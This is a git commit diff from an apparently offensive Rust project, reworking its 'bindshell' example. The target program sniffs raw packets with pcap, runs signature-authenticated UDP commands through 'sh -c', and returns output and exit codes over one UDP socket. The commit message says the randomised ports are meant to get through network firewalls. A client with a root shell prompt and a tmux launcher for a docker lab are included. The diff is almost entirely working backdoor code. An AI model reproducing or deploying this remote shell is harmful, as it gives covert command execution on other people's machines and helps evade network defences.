refactor: redid the bindshell example
Made it use a single UDP client as well as proper randomized ports to go through network firewalls, requiring stdin, status, stderr, and stdout all go over a single UDP socket Updated the client to have a prompt
This commit is contained in:
parent
8ad7127d4d
commit
f1e5b2d979
@ -25,7 +25,7 @@ ENV DEBIAN_FRONTEND=noninteractive \
|
|||||||
VISUAL='code -w'
|
VISUAL='code -w'
|
||||||
|
|
||||||
RUN apt-get update && \
|
RUN apt-get update && \
|
||||||
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget && \
|
apt install -y cmake git libtool valgrind docker-compose lldb sudo zsh wget tmux && \
|
||||||
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \
|
apt-get autoremove -y && apt-get clean -y && rm -rf /var/lib/apt/lists/* && \
|
||||||
adduser ${USERNAME} && \
|
adduser ${USERNAME} && \
|
||||||
echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \
|
echo "$USERNAME ALL=(ALL:ALL) NOPASSWD: ALL" >> /etc/sudoers && \
|
||||||
|
|||||||
@ -1,3 +1,5 @@
|
|||||||
|
extend = "./examples/Makefile.toml"
|
||||||
|
|
||||||
[env]
|
[env]
|
||||||
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true
|
CARGO_MAKE_EXTEND_WORKSPACE_MAKEFILE = true
|
||||||
|
|
||||||
|
|||||||
8
examples/Makefile.toml
Normal file
8
examples/Makefile.toml
Normal file
@ -0,0 +1,8 @@
|
|||||||
|
[tasks.examples-bindshell-run]
|
||||||
|
workspace = false
|
||||||
|
dependencies = ["build"]
|
||||||
|
script = '''
|
||||||
|
tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target'
|
||||||
|
tmux split-window -h 'docker-compose run examples_bindshell_client'
|
||||||
|
tmux -2 attach -t bindshell
|
||||||
|
'''
|
||||||
@ -12,7 +12,9 @@ use ex_bind_shell_key_generator::PUBKEY;
|
|||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> anyhow::Result<()> {
|
async fn main() -> anyhow::Result<()> {
|
||||||
simple_logger::SimpleLogger::new().init()?;
|
simple_logger::SimpleLogger::new()
|
||||||
|
.with_level(log::LevelFilter::Info)
|
||||||
|
.init()?;
|
||||||
|
|
||||||
let pubkey =
|
let pubkey =
|
||||||
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
||||||
@ -25,6 +27,8 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
.find(|eth| eth.starts_with("eth"))
|
.find(|eth| eth.starts_with("eth"))
|
||||||
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
||||||
|
|
||||||
|
log::info!("Attaching to interface {}", &interface_name);
|
||||||
|
|
||||||
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
||||||
|
|
||||||
interface.set_buffer_size(8192)?;
|
interface.set_buffer_size(8192)?;
|
||||||
@ -43,22 +47,31 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
enum EventType {
|
enum EventType {
|
||||||
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
||||||
Send(EthernetPacket),
|
Send(EthernetPacket),
|
||||||
|
Exit,
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut packets = interface.stream()?;
|
let mut packets = interface.stream()?;
|
||||||
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
||||||
|
let (exit_sender, mut exit_handler) = mpsc::channel(1);
|
||||||
|
|
||||||
while let Some(evt) = tokio::select! {
|
while let Some(evt) = tokio::select! {
|
||||||
v = packets.next() => v.map(EventType::Packet),
|
v = packets.next() => v.map(EventType::Packet),
|
||||||
v = packets_to_send.recv() => v.map(EventType::Send)
|
v = packets_to_send.recv() => v.map(EventType::Send),
|
||||||
|
v = exit_handler.recv() => v.map(|_| EventType::Exit)
|
||||||
} {
|
} {
|
||||||
match evt {
|
match evt {
|
||||||
EventType::Packet(pkt) => {
|
EventType::Packet(pkt) => {
|
||||||
if let Ok(pkt) = pkt {
|
if let Ok(pkt) = pkt {
|
||||||
let packet_sender_clone = packet_sender.clone();
|
let packet_sender_clone = packet_sender.clone();
|
||||||
|
let exit_sender_clone = exit_sender.clone();
|
||||||
let pubkey_clone = pubkey.clone();
|
let pubkey_clone = pubkey.clone();
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
if let Err(e) = handle_command(pubkey_clone, pkt, packet_sender_clone).await
|
if let Err(e) = handle_command(
|
||||||
|
pubkey_clone,
|
||||||
|
pkt,
|
||||||
|
packet_sender_clone,
|
||||||
|
exit_sender_clone
|
||||||
|
).await
|
||||||
{
|
{
|
||||||
log::warn!("Error handling packet: {e}");
|
log::warn!("Error handling packet: {e}");
|
||||||
}
|
}
|
||||||
@ -68,6 +81,9 @@ async fn main() -> anyhow::Result<()> {
|
|||||||
EventType::Send(pkt) => {
|
EventType::Send(pkt) => {
|
||||||
packets.sendpacket(pkt.pkt())?;
|
packets.sendpacket(pkt.pkt())?;
|
||||||
}
|
}
|
||||||
|
EventType::Exit => {
|
||||||
|
break;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -78,48 +94,93 @@ async fn handle_command(
|
|||||||
pubkey: Arc<PublicKey>,
|
pubkey: Arc<PublicKey>,
|
||||||
eth: EthernetPacket,
|
eth: EthernetPacket,
|
||||||
send_response: mpsc::Sender<EthernetPacket>,
|
send_response: mpsc::Sender<EthernetPacket>,
|
||||||
|
send_exit: mpsc::Sender<()>
|
||||||
) -> anyhow::Result<()> {
|
) -> anyhow::Result<()> {
|
||||||
use pcap_sys::packets::*;
|
use pcap_sys::packets::*;
|
||||||
let eth_pkt = eth.pkt();
|
let eth_pkt = eth.pkt();
|
||||||
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
||||||
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
||||||
|
|
||||||
|
let source_port = udp_pkt.srcport();
|
||||||
|
|
||||||
|
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
|
||||||
|
let error_ip_packet = IPv4Packet::construct(
|
||||||
|
ip_pkt.dest_ip(),
|
||||||
|
ip_pkt.source_ip(),
|
||||||
|
&Layer4Packet::UDP(error_udp_packet),
|
||||||
|
);
|
||||||
|
let error_eth_packet = EthernetPacket::construct(
|
||||||
|
*eth_pkt.destination_address(),
|
||||||
|
*eth_pkt.source_address(),
|
||||||
|
&Layer3Packet::IPv4(error_ip_packet),
|
||||||
|
);
|
||||||
|
|
||||||
let data = udp_pkt.get_data();
|
let data = udp_pkt.get_data();
|
||||||
|
|
||||||
if data.len() < 65 {
|
if data.len() < 65 {
|
||||||
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||||
|
log::warn!("Could not send command done packet: {e:?}");
|
||||||
|
}
|
||||||
bail!("Packet was too short")
|
bail!("Packet was too short")
|
||||||
}
|
}
|
||||||
|
|
||||||
let signature: [u8; 64] = data[..64]
|
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
|
||||||
.try_into()
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||||
.context("could not get signature from command")?;
|
log::warn!("Could not send command done packet: {e:?}");
|
||||||
|
}
|
||||||
|
bail!("could not get signature from command")
|
||||||
|
};
|
||||||
|
|
||||||
let signature = Signature::from(signature);
|
let signature = Signature::from(signature);
|
||||||
|
|
||||||
let cmd = &data[64..];
|
let cmd = &data[64..];
|
||||||
|
|
||||||
pubkey
|
if let Err(e) = pubkey.verify(cmd, &signature) {
|
||||||
.verify(cmd, &signature)
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||||
.context("message provided was unauthenticated")?;
|
log::warn!("Could not send command done packet: {e:?}");
|
||||||
|
}
|
||||||
|
return Err(e).context("message provided was unauthenticated");
|
||||||
|
}
|
||||||
|
|
||||||
let cmd = OsStr::from_bytes(cmd);
|
let cmd = OsStr::from_bytes(cmd);
|
||||||
|
|
||||||
log::info!("Received command to execute: {cmd:?}");
|
log::info!("Received command to execute: {cmd:?}");
|
||||||
|
|
||||||
let child = process::Command::new("sh")
|
let cmd_str = std::str::from_utf8(cmd.as_bytes());
|
||||||
|
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
|
||||||
|
Ok(["exit"]) => {
|
||||||
|
send_exit.send(()).await;
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
Ok(["cd", dir]) => {
|
||||||
|
std::env::set_current_dir(dir)?;
|
||||||
|
return Ok(());
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
|
||||||
|
let Ok(mut child) = (process::Command::new("sh")
|
||||||
.arg("-c")
|
.arg("-c")
|
||||||
.arg(cmd)
|
.arg(cmd)
|
||||||
.stdin(Stdio::null())
|
.stdin(Stdio::null())
|
||||||
.stdout(Stdio::piped())
|
.stdout(Stdio::piped())
|
||||||
.stderr(Stdio::piped())
|
.stderr(Stdio::piped()))
|
||||||
.spawn()?;
|
.spawn() else {
|
||||||
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
||||||
|
log::warn!("Could not send command done packet: {e:?}");
|
||||||
|
}
|
||||||
|
bail!("could not spawn child")
|
||||||
|
};
|
||||||
|
|
||||||
let mut stdout = child
|
{
|
||||||
.stdout
|
let stdout = match &mut child.stdout {
|
||||||
.ok_or(anyhow!("could not get child process stdout"))?;
|
Some(ref mut stdout) => stdout,
|
||||||
let mut stderr = child
|
None => bail!("could not get child process stdout")
|
||||||
.stderr
|
};
|
||||||
.ok_or(anyhow!("could not get child process stdout"))?;
|
let stderr = match &mut child.stderr {
|
||||||
|
Some(ref mut stderr) => stderr,
|
||||||
|
None => bail!("could not get child process stderr")
|
||||||
|
};
|
||||||
|
|
||||||
enum Output {
|
enum Output {
|
||||||
Out,
|
Out,
|
||||||
@ -143,12 +204,17 @@ async fn handle_command(
|
|||||||
Output::Err => stderr_buffer,
|
Output::Err => stderr_buffer,
|
||||||
Output::Out => stdout_buffer,
|
Output::Out => stdout_buffer,
|
||||||
}[..len];
|
}[..len];
|
||||||
let port = match out_type {
|
|
||||||
Output::Err => 54249,
|
|
||||||
Output::Out => 54248,
|
|
||||||
};
|
|
||||||
|
|
||||||
let udp_packet = UDPPacket::construct(54248, port, msg);
|
let fullmsg = &[
|
||||||
|
match out_type {
|
||||||
|
Output::Out => &[1],
|
||||||
|
Output::Err => &[2]
|
||||||
|
},
|
||||||
|
msg
|
||||||
|
]
|
||||||
|
.concat();
|
||||||
|
|
||||||
|
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
|
||||||
let ip_packet = IPv4Packet::construct(
|
let ip_packet = IPv4Packet::construct(
|
||||||
ip_pkt.dest_ip(),
|
ip_pkt.dest_ip(),
|
||||||
ip_pkt.source_ip(),
|
ip_pkt.source_ip(),
|
||||||
@ -164,6 +230,33 @@ async fn handle_command(
|
|||||||
log::warn!("Could not send response packet: {e:?}");
|
log::warn!("Could not send response packet: {e:?}");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let exit_code = child
|
||||||
|
.wait()
|
||||||
|
.await
|
||||||
|
.map(|s| s.code())
|
||||||
|
.ok()
|
||||||
|
.flatten()
|
||||||
|
.unwrap_or(255)
|
||||||
|
.try_into()
|
||||||
|
.unwrap();
|
||||||
|
|
||||||
|
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
|
||||||
|
let done_ip_packet = IPv4Packet::construct(
|
||||||
|
ip_pkt.dest_ip(),
|
||||||
|
ip_pkt.source_ip(),
|
||||||
|
&Layer4Packet::UDP(done_udp_packet),
|
||||||
|
);
|
||||||
|
let done_eth_packet = EthernetPacket::construct(
|
||||||
|
*eth_pkt.destination_address(),
|
||||||
|
*eth_pkt.source_address(),
|
||||||
|
&Layer3Packet::IPv4(done_ip_packet),
|
||||||
|
);
|
||||||
|
|
||||||
|
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
|
||||||
|
log::warn!("Could not send command done packet: {e:?}");
|
||||||
|
}
|
||||||
|
|
||||||
log::info!("Done executing command {cmd:?}");
|
log::info!("Done executing command {cmd:?}");
|
||||||
|
|
||||||
|
|||||||
@ -1,63 +1,133 @@
|
|||||||
use std::{io::prelude::*, net::UdpSocket, thread};
|
use std::{io::prelude::*, net::UdpSocket, thread, sync::{Arc, Mutex, Condvar}};
|
||||||
|
|
||||||
use anyhow::{anyhow, Context};
|
use anyhow::{anyhow, Context};
|
||||||
use ed25519_dalek::{Keypair, Signer};
|
use ed25519_dalek::{Keypair, Signer};
|
||||||
|
|
||||||
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
|
use ex_bind_shell_key_generator::{PRIVKEY, PUBKEY};
|
||||||
|
|
||||||
|
enum Msg<'a> {
|
||||||
|
Ready(u8),
|
||||||
|
Stdout(&'a [u8]),
|
||||||
|
Stderr(&'a [u8]),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Msg<'_> {
|
||||||
|
fn parse<'a>(bytes: &'a [u8]) -> Option<Msg<'a>> {
|
||||||
|
match bytes[0] {
|
||||||
|
0 => Some(Msg::Ready(bytes[1])),
|
||||||
|
1 => Some(Msg::Stdout(&bytes[1..])),
|
||||||
|
2 => Some(Msg::Stderr(&bytes[1..])),
|
||||||
|
_ => None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
fn main() -> anyhow::Result<()> {
|
fn main() -> anyhow::Result<()> {
|
||||||
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
|
let privkey = Keypair::from_bytes(&[PRIVKEY, PUBKEY].concat())
|
||||||
.context("could not parse generated private key")?;
|
.context("could not parse generated private key")?;
|
||||||
|
|
||||||
let mut stdout = std::io::stdout();
|
let stdout_inuse = Arc::new((Mutex::new(false), Condvar::new()));
|
||||||
|
let stdout_arc = Arc::new(Mutex::new(std::io::stdout()));
|
||||||
let mut stderr = std::io::stderr();
|
let mut stderr = std::io::stderr();
|
||||||
let stdin = std::io::stdin();
|
let stdin = std::io::stdin();
|
||||||
|
|
||||||
let mut args = std::env::args();
|
let target = std::env::args()
|
||||||
args.next();
|
.skip(1)
|
||||||
let target = args.next().ok_or(anyhow!("Please specify a target IP"))?;
|
.next()
|
||||||
|
.ok_or(anyhow!("Please specify a target IP"))?;
|
||||||
|
|
||||||
let remote_stdin = UdpSocket::bind("0.0.0.0:0")?;
|
let remote = UdpSocket::bind("0.0.0.0:0")?;
|
||||||
let remote_stdout = UdpSocket::bind("0.0.0.0:54248")?;
|
let remote_listen = remote.try_clone()?;
|
||||||
let remote_stderr = UdpSocket::bind("0.0.0.0:54249")?;
|
|
||||||
|
|
||||||
let out_thread = thread::spawn(move || {
|
let out_thread = {
|
||||||
let mut buffer = [0u8; 1024];
|
let stdout_inuse = Arc::clone(&stdout_inuse);
|
||||||
|
let stdout_arc = Arc::clone(&stdout_arc);
|
||||||
|
|
||||||
|
thread::spawn(move || {
|
||||||
|
let mut buffer = [0u8; 1536];
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let Ok(amount) = remote_stdout.recv(&mut buffer[..]) else { continue; };
|
let Ok(amount) = remote_listen.recv(&mut buffer[..]) else { continue; };
|
||||||
let Ok(_) = stdout.write(&mut buffer[..amount]) else { continue; };
|
let Some(msg) = Msg::parse(&buffer[..amount]) else { continue; };
|
||||||
|
|
||||||
|
match msg {
|
||||||
|
Msg::Ready(_) => {
|
||||||
|
let (lock, cvar) = &*stdout_inuse;
|
||||||
|
let Ok(mut inuse) = lock.lock() else {
|
||||||
|
eprintln!("Could not get lock on message handle!");
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
*inuse = false;
|
||||||
|
cvar.notify_one();
|
||||||
|
},
|
||||||
|
Msg::Stderr(err) => {
|
||||||
|
let _ = stderr.write(err);
|
||||||
|
},
|
||||||
|
Msg::Stdout(out) => {
|
||||||
|
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||||
|
let _ = stdout.write(out);
|
||||||
}
|
}
|
||||||
});
|
|
||||||
|
|
||||||
let err_thread = thread::spawn(move || {
|
|
||||||
let mut buffer = [0u8; 1024];
|
|
||||||
|
|
||||||
loop {
|
|
||||||
let Ok(amount) = remote_stderr.recv(&mut buffer[..]) else { continue; };
|
|
||||||
let Ok(_) = stderr.write(&mut buffer[..amount]) else { continue; };
|
|
||||||
}
|
}
|
||||||
});
|
}
|
||||||
|
})
|
||||||
|
};
|
||||||
|
|
||||||
|
// sending a single command helps out with buffers, I guess
|
||||||
|
// first message is always dropped
|
||||||
|
remote.send_to(b"ls /", &target)?;
|
||||||
|
|
||||||
|
let mut cwd = "/".to_owned();
|
||||||
|
|
||||||
loop {
|
loop {
|
||||||
let mut cmd = String::new();
|
{
|
||||||
let Ok(_) = stdin.read_line(&mut cmd) else { continue; };
|
let (lock, cvar) = &*stdout_inuse;
|
||||||
let cmd = cmd.trim();
|
let Ok(mut inuse) = lock.lock() else {
|
||||||
|
eprintln!("Could not get lock on message handle!");
|
||||||
if cmd == "exit" {
|
|
||||||
break;
|
break;
|
||||||
|
};
|
||||||
|
|
||||||
|
while *inuse {
|
||||||
|
inuse = cvar.wait(inuse).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
{
|
||||||
|
let Ok(mut stdout) = stdout_arc.lock() else { continue; };
|
||||||
|
let Ok(_) = write!(&*stdout, "root@{}:{} # ", &target, &cwd) else { continue; };
|
||||||
|
let _ = stdout.flush();
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut cmd = String::new();
|
||||||
|
let Ok(amount) = stdin.read_line(&mut cmd) else { continue; };
|
||||||
|
let mut cmd = cmd.trim();
|
||||||
|
|
||||||
|
if amount == 0 {
|
||||||
|
cmd = "exit";
|
||||||
}
|
}
|
||||||
|
|
||||||
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
|
let signature = privkey.sign(cmd.as_bytes()).to_bytes();
|
||||||
let msg = &[&signature, cmd.as_bytes()].concat();
|
let msg = &[&signature, cmd.as_bytes()].concat();
|
||||||
|
|
||||||
let Ok(_) = remote_stdin.send_to(msg, &target) else {
|
let Ok(_) = remote.send_to(msg, &target) else {
|
||||||
continue;
|
continue;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
match cmd.split(" ").collect::<Vec<_>>()[..] {
|
||||||
|
["exit"] => { break },
|
||||||
|
["cd", dir] => { cwd = dir.to_owned(); },
|
||||||
|
_ => {
|
||||||
|
let (lock, _) = &*stdout_inuse;
|
||||||
|
let Ok(mut inuse) = lock.lock() else {
|
||||||
|
eprintln!("Could not get lock on message handle!");
|
||||||
|
break;
|
||||||
|
};
|
||||||
|
|
||||||
|
*inuse = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
drop(out_thread);
|
drop(out_thread);
|
||||||
drop(err_thread);
|
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
@ -14,4 +14,4 @@
|
|||||||
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
// along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
|
pub const PUBKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
|
||||||
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/pubkey"));
|
pub const PRIVKEY: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/privkey"));
|
||||||
|
|||||||
@ -14,7 +14,7 @@ pub trait Protocol<I, T> {
|
|||||||
/// Allows for composing multiple protocols on top of each other, for instance to use
|
/// Allows for composing multiple protocols on top of each other, for instance to use
|
||||||
/// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP
|
/// TCP fragmenting to work with HTTP to form a complete packet, and then take the HTTP
|
||||||
/// conversation and encode Sparse messages into it
|
/// conversation and encode Sparse messages into it
|
||||||
fn compose<P, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
|
fn compose<P, J, U>(self, other: P) -> ProtocolCompose<Self, P, I, J, T, U>
|
||||||
where
|
where
|
||||||
J: From<T>,
|
J: From<T>,
|
||||||
P: Protocol<J, U> + Sized,
|
P: Protocol<J, U> + Sized,
|
||||||
@ -43,14 +43,14 @@ pub struct ProtocolCompose<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>
|
|||||||
generic_u: PhantomData<U>,
|
generic_u: PhantomData<U>,
|
||||||
}
|
}
|
||||||
|
|
||||||
impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
|
/*impl<P1: Protocol<I, T>, P2: Protocol<J, U>, I, J: From<T>, T, U> Protocol<I, U>
|
||||||
for ProtocolCompose<P1, P2, I, J, T, U>
|
for ProtocolCompose<P1, P2, I, J, T, U>
|
||||||
{
|
{
|
||||||
fn handle_event(&mut self, packet: I) -> U {
|
fn handle_event(&mut self, packet: I) -> U {
|
||||||
let elem1 = self.protocol1.handle_event(packet);
|
let elem1 = self.protocol1.handle_event(packet);
|
||||||
self.protocol2.handle_event(elem1)
|
self.protocol2.handle_event(elem1)
|
||||||
}
|
}
|
||||||
}
|
}*/
|
||||||
|
|
||||||
/// High level protocol that used for the overall application
|
/// High level protocol that used for the overall application
|
||||||
///
|
///
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user